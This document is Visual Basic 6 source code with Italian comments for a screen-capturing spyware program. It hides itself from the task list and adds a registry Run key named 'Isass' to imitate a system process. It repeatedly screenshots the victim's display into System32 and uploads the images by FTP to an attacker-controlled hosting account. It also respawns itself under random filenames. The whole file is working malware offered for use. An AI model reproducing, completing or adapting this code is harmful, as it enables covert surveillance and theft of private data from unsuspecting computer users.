Private  Sub Form_Load()
App.TaskVisible = Not _
                  True
      Picture1.AutoSize = True
Set reg = CreateObject("Wscript.shell")
reg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Isass", App.Path & "\fbichat.exe"
Dim Ritardo As Long 'dichiarazione variabile ritardo
Timer1.Interval = Ritardo + 145 'imposto un ritardo minimo per captare i tasti, altrimenti potrebbe essere simulata la pressione ripetuta di un tasto
End Sub

Private Sub testo_Change()
Set Picture1.Picture = CaptureScreen()

SavePicture Picture1.Image, "C:\WINDOWS\SYSTEM32\keylog.bmp"


End Sub

Private Sub Timer1_Timer()
Set Picture1.Picture = CaptureScreen()

SavePicture Picture1.Image, "C:\WINDOWS\SYSTEM32\keylog.bmp" '




End Sub

Private Sub Timer2_Timer() 'ciclo per evitare connessioni molteplici al ftp
Timer3.Enabled = True
Timer2.Enabled = False
End Sub

Private Sub Timer3_Timer() '
Timer4.Enabled = True '
Timer3.Enabled = False '
End Sub

Private Sub Timer4_Timer() 'vedi commento timer2
Timer5.Enabled = True 'ti consigblio di salvarlo cn un'altro nome  In ke senzo dx Save As.. C'è QLC che nn mi quadra ad esempio i timeer  rotofl proviamo prima.
Timer4.Enabled = False
End Sub

Private Sub Timer5_Timer() 'vedi commento timer2
Timer6.Enabled = True
Timer5.Enabled = False
End Sub

Private Sub Timer6_Timer() 'vedi commento timer2 + upload file
Dim nomefile As String 'dichiarazione nomefile, ossia il nome del file quando verrà uploadato sul nostro ftp
   Dim ftpwebsite As String 'dichiarazione ftpwebsite, ossia l'indirizzo ftp del nostro sito
       account = "Anke questo no" 'nome nostro account hosting
       pswd = "qstnontelado" 'password account hosting
       ftpwebsite = "ftp://conoscilapravacyxd" 'indirizzo ftp nostro host
   Inet1.URL = ftpwebsite 'settaggio indirizzo ftp
   Inet1.UserName = account 'settaggio account
   Inet1.Password = pswd 'settaggio password
   Dim NameScr As String
NameScr = "screen" + "." + _
                   "b" + "m" + "p"
Kill ("C:\WINDOWS\SYSTEM32\" + NameScr)
   nomefile = "log.bmp" 'sostituire log.txt con il nome che vorrete dare al file uploadato sul vostro host
       Inet1.Execute Inet1.URL, "PUT C:\WINDOWS\system32\keylog.bmp " & nomefile
   Do While Inet1.StillExecuting = True
         DoEvents
       Loop
Timer6.Enabled = False
Timer2.Enabled = True
Exit Sub
lol:
Dim NUMER As String
NUMER = Int(Rnd * 99)
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\WINDOWS\" + NUMER + ".exe"
Shell ("C:\WINDOWS\" + NUMER + ".exe")
Shell ("C:\WINDOWS\system32\cmd.exe /c tskill " + App.EXEName)
Exit Sub
End Sub